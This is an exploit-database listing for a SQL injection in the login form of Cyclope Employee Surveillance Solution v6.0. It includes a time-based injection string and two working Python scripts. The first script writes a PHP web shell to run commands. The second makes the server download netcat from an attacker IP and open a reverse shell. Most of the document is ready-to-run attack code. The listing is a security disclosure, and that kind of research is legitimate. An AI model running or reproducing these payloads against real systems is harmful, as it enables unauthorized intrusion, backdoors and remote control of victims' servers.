Author

loneferret

Risk

[

Security Risk High

]

0day-ID

0day-ID-19156

Category

web applications

Date add

09-08-2012

Platform

php

# Author: loneferret of Offensive Security
# Product: Cyclope Employee Surveillance Solution v6.0
# Version: 6.0
# Vendor Site: http://www.cyclope-series.com/
# Software Download: http://www.cyclope-series.com/download/index.html
 
# Software description:
# The employee monitoring software developed by Cyclope-Series is specially designed to inform
# and equip management with statistics relating to the productivity of staff within their organization.
 
# Vulnerability:
# Due to improper input sensitization, many parameters are prone to SQL injection.
# Most importantly, the username parameter in the application's login form.
#
 
 
 
# PoC 1:
# MySql sleep for 5 seconds.
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username
# username: x' or sleep(5) and '1'='1
# password: whatever
 
# As stated, nothing is checked before passing "username" to MySql.
# This results in MySql sleeping for 5 seconds, and a unsuccessful
# attempt.
 
# PoC 2:
# Remote Code Execution
# No Authentication Required.
# Page: /index.php
# Form: login
# Vulnerable Parameter: username
 
# Creates a small php shell in the application's root folder.
# It also has the added bonus of writing the administrator username and password
# Side note:
# This assumes a default installation. Which is located in "C:\Program Files\Cyclope\Ni4xLjA=\"
# If you are wondering what is "Ni4xLjA=", well it's the software's version number in Base64 (6.1.0).
# Using Owasp Zap, you can spider the site to find the application's root folder if ever it changes.
 
----Python Script Simple Backdoor----
#!/usr/bin/python
 
import urllib, cookielib
import urllib2
import sys
 
 
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
 
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
    print "[*] Usage: poc.py <RHOST> <CMD>"
    print "[*] Ex.  : poc.py 127.0.0.1 ipconfig"
    exit(0)
 
rhost = sys.argv[1]
rcmd = sys.argv[2]
 
backdoor = "<?php system($_GET['exe']);?>"
 
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')
 
act = 'auth-login'
pag = 'login'
password = 'hole'
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:7879/" % rhost, post_params)
print "[*] Triggering backdoor"
cmd = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
page = urllib.urlopen(cmd)
print "[*] Executing command: %s\n" % rcmd
shell = 'http://%s:7879/Ni4xLjA=/cmd.php?exe=%s' % (rhost,rcmd)
try:
        page = urllib.urlopen(shell)
        cmd = page.read()
        print cmd
except:
        print "[-] Oups! Somthing happened"
         
 
 
 
---Python Getting Shell---
#!/usr/bin/python
 
import urllib, cookielib
import urllib2
import sys
 
 
print "\n[*] Cyclope Employee Surveillance Solution v6.0 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
 
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <RHOST>"
    exit(0)
 
rhost = sys.argv[1]
 
backdoor = '''<?php
file_put_contents("nc.exe",
file_get_contents("http://172.16.194.163/nc.exe"));
shell_exec("nc.exe 172.16.194.163 4444 -e cmd.exe");?>'''
 
prepayload = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/Ni4xLjA=/cmd.php' "
prepayload += "LINES TERMINATED BY 0x%s) and '1'='1" % backdoor.encode('hex')
 
act = 'auth-login'
pag = 'login'
password = 'hole'
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'act' : act, 'pag' : pag, 'username' : prepayload, 'password' : password})
print "[*] Sending evil payload"
try:
        resp = opener.open("http://%s:7879/" % rhost, post_params)
        print "[*] Triggering Shell"
        shell = 'http://%s:7879/Ni4xLjA=/cmd.php' % rhost
        page = urllib.urlopen(shell)
        cmd = page.read()
except:
        print "[-] Oups! Somthing happened"



#  0day.today [2024-11-16]  #